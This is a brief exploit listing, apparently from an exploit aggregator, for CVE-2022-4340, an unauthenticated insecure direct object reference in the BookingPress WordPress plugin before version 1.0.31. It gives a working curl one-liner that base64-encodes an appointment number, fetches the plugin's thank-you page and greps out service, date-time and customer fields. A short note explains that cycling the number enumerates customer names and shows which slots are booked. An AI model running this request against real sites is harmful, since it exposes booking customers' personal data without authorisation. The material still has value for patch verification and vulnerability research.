Exploit for BookingPress < 1.0.31 - Unauthenticated IDOR in appointment_id CVE-2022-4340

## https://sploitus.com/exploit?id=WPEX-ID:8A7BD9F6-2789-474B-A237-01C643FDFBA7
curl -s "http://host/thank-you/?appointment_id=$(echo 2 | base64 )" | grep  "(service|datetime|customer)" 

changing the number reveals the customer name tied to this appointment if there is no result then this appointment is not reversed yet.